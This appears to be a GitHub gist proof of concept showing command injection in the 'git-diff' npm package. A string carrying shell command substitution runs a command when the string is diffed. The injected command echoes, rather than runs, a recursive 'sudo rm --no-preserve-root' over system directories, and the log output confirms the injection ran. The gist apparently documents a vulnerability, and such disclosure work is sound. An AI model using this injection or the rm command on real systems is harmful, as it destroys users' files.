Skip to content

Instantly share code, notes, and snippets.

@mk-pmb
Last active August 12, 2019 21:01
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save mk-pmb/87529a1f65fd47f0abd4d0199536c389 to your computer and use it in GitHub Desktop.
Save mk-pmb/87529a1f65fd47f0abd4d0199536c389 to your computer and use it in GitHub Desktop.
$ cat exploit.js 
'use strict';
var gitDiff = require('git-diff')
var oldStr = 'exploit\n'
var newStr = 'exploit$($(echo sudo rm --recursive --force '
+ '--no-preserve-root /[hmrv]*/ >/tmp/yolo.log 2>&1))ed\n'
var diff = gitDiff(oldStr, newStr)
console.log(diff);
$ nodejs exploit.js
@@ -1 +1 @@
-exploit
+exploited
$ cat /tmp/yolo.log
sudo rm --recursive --force --no-preserve-root /home/ /media/ /mnt/ /root/ /run/ /var/
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment